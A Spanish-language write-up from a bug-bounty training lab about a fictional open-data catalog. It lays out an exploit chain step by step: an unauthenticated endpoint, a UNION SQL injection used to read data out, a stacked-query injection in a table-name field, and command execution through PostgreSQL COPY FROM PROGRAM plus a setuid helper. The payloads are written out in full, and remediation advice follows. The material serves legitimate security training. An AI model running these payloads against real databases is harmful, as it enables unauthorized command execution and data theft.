SQL Injection en identificador de tabla → RCE por PostgreSQL `COPY … FROM PROGRAM`
Catálogo de datos de investigación del ficticio Helios Open Data Consortium (HODC). Por debajo del portal público corre un microservicio legacy "Database Service" bajo el prefijo `/database/database/*`. Un invitado puede POSTear contra `POST /database/database/projects` sin sesión (CWE-306); el campo `tableName` de ese cuerpo es un identificador que se interpola crudo y se ejecuta por el protocolo simple de node-postgres, habilitando stacked queries. Como el rol de conexión `forge_dba` es SUPERUSER, `COPY … FROM PROGRAM` se convierte en ejecución de comandos; el endpoint es ciego, así que la salida se lee de vuelta reutilizando una SQLi companion (UNION) en `POST /database/database/login`. La flag vive en un fichero `root:600` que ni el usuario del motor de BD puede leer: solo un binario setuid-root la revela
Learn to find this bug
This bug paid $700 on YesWeHack.
Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.
- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Access to all labs · no commitment · cancel anytime
Hunters who solved it· 4
Objectives
Achievement you'll earn
Solve this lab to unlock this shareable achievement
SQL Injection en identificador de tabla → RCE por PostgreSQL `COPY … FROM PROGRAM`
Community writeups
DataForge es el catálogo de datos abiertos del Helios Open Data Consortium (HODC), un consorcio académico ficticio que publica datasets científicos (clima, genómica, sismología, imágenes orbitales) con DOI y agrupación en "projects". El stack real es Express 4.21 + TypeScript 5.7 + node-postgres (pg 8.13) + PostgreSQL 16 + React 18 + Vite, servido en el puerto 2500. Es un lab multi-servicio: el contenedor app publica el 2500 y el contenedor db (PostgreSQL 16) es interno a la red docker, sin puerto publicado. La fachada aparenta stack enterprise-legacy: cabeceras Server: nginx, X-Handled-By: dataforge y una cookie decorativa JSESSIONID.
Recibes ámbito de pentesting sobre el entorno de staging. La UI del catálogo tiene una cuenta demo (attacker@dataforge.local / password123) que sirve solo para navegar el portal — no es la vulnerabilidad y no hace falta para el exploit, porque los dos endpoints explotables son públicos.
La cadena tiene cuatro capas, cada una con un primitivo distinto:
Capa 1 — Recon + missing authz (CWE-306). El frontend hace fetch contra un microservicio interno con un prefijo de ruta peculiar de doble segmento:
/database/database/*(montado enserver/src/index.ts). Bajo él vive el "Database Service" legacy.POST /database/database/projects(server/src/routes/databaseService.ts) no exige sesión: cualquier invitado obtiene un{ count: N }. Es una superficie ciega — solo un número, ningún dato reflejado. Da inyección pre-auth, pero no un canal de lectura.Capa 2 — SQLi companion en
/login(protocolo extended → solo exfil).POST /database/database/loginconstruye:const sql = `SELECT id, username, role FROM app_users ` + `WHERE tenant = $1 AND username = '${username}' ` + `AND password_hash = '${passwordHash}' AND active = true`; const result = await pool.query(sql, ['public']); // ← con values ⇒ protocolo EXTENDEDEl
tenantva parametrizado ($1), perousernamese concatena crudo. Al pasar un arrayvalues, node-postgres usa el protocolo extended → una sola sentencia: un;con una segunda sentencia da error. Por tantoUNION/error-based SÍ, stacking NO, RCE NO por esta vía. El login refleja elusernamede la fila devuelta ({ user: { username } }) — ese reflejo es el canal de exfiltración. La query devuelve tres columnas (id, username, role), así que unUNIONcon tres columnas encaja.Capa 3 — SQLi principal en
/projects(protocolo simple → stacking). El mismo router construye:const sql = `SELECT COUNT(*) AS n FROM ${tableName} ` + `WHERE folder_name = ${quoteLiteral(foldername)} AND project_type = 'project'`; const result = await pool.query(sql); // ← string plano ⇒ protocolo SIMPLEfoldernamepasa porquoteLiteral()(comillas dobladas) → no inyectable. El camponametampoco se usa. El único punto de inyección estableName, un identificador que no se puede parametrizar y que se interpola crudo justo tras elFROM. Al ejecutarse como string plano (sinvalues), node-postgres usa el protocolo simple → múltiples sentencias separadas por;se ejecutan en orden. Esa es la diferencia crítica con/login.Capa 4 — RCE + privesc setuid + exfil cruzada (CWE-94/78/250/269). El rol de conexión
forge_dbaes SUPERUSER, así queCOPY … FROM PROGRAMestá disponible. La flag vive en/opt/dataforge/.vault/flag.txtdentro del contenedordb, propiedadroot:rooty modo600. El motor PostgreSQL corre como el usuario de SOpostgres, así quepg_read_file()y unCOPY … FROM '<fichero>'normal fallan con permission denied. El único camino es ejecutar el helper setuid-root/usr/local/bin/df-selftest(4755 root:root), que re-eleva a root, hacecatdel vault y lo imprime a stdout;COPY … FROM PROGRAMcaptura ese stdout. Como/projectses ciego, la salida se escribe en una tabla scratchpwn(o text)y se lee de vuelta reutilizando laUNIONde/login.
La cadena completa:
- Recon: descubre
/database/database/*en el tráfico del frontend; comprueba quePOST /database/database/projectsresponde sin auth (superficie ciega). - Companion SQLi en
/login: confirma rol e identidad.
La respuesta reflejausername = zzz' UNION SELECT 1, (SELECT current_user) || ' super=' || (SELECT rolsuper::text FROM pg_roles WHERE rolname = current_user), 'reader' --forge_dba super=true. - Verifica el límite de privilegio con
pg_read_file:
→ permission denied. El file-read no basta → hace falta RCE.username = zzz' UNION SELECT 1, pg_read_file('/opt/dataforge/.vault/flag.txt'), 'reader' -- - Stacking + RCE por
tableNameen/projects(elWHERE folder_name = 'x' AND project_type = 'project'que añade el server se pega a la últimaSELECT):
Respuesta ciega (tableName = app_projects WHERE 1=1; CREATE TABLE IF NOT EXISTS pwn(o text); TRUNCATE pwn; COPY pwn FROM PROGRAM '/usr/local/bin/df-selftest'; SELECT 1 FROM app_projects{ count: … }), pero la flag ya está enpwn. - Exfil cruzada por la
UNIONde/login:
Elusername = zzz' UNION SELECT 1, (SELECT string_agg(o, chr(10)) FROM pwn), 'reader' --usernamereflejado contieneFLAG{…}.
Por qué es "chain" y no una sola vuln en dos sitios. /projects da stacking + RCE + escritura pero es ciego; /login da lectura/exfil pero no stacking. El solver debe combinar ambos: escribe con uno, lee con el otro. Además la RCE cruza un límite de privilegio (uid postgres → root vía setuid), un primitivo distinto del SQLi.
Superficies distractoras (decoys). Bajo /api vive el catálogo público, honesto: GET /api/search?q= está parametrizado con $1 (parece SQLi, no lo es); GET /api/datasets?sort= usa un allow-list enum (falso "ORDER BY injection"); GET /api/health filtra db_role: forge_dba (pista legítima, pero no explotable por sí sola); POST /api/export está deshabilitado y solo hace eco del path (callejón sin salida). El objetivo real no está en /api, sino en /database/database/*.
Remediation resumida:
- Nunca interpolar identificadores de tabla/columna desde input: usar allow-list estricta o
escapeIdentifier; parametrizar todos los literales. - No conceder al rol de aplicación privilegios de SUPERUSER; revocar
COPY … PROGRAMy funciones de I/O de ficheros del rol de conexión. - Autenticar y autorizar toda función que consulte la base (incluidos contadores "públicos").
- Evitar diferencias de protocolo que habiliten multi-statement: usar consultas preparadas y no concatenar nunca.
- Retirar binarios setuid innecesarios del contenedor de BD; aplicar
no-new-privilegesy montajesnosuiddonde no rompan la operación legítima.
El walkthrough interactivo (con botones Run por paso) vive en /writeup dentro de la app. La verificación end-to-end está en tests/verify.py y la PoC en exploit.py.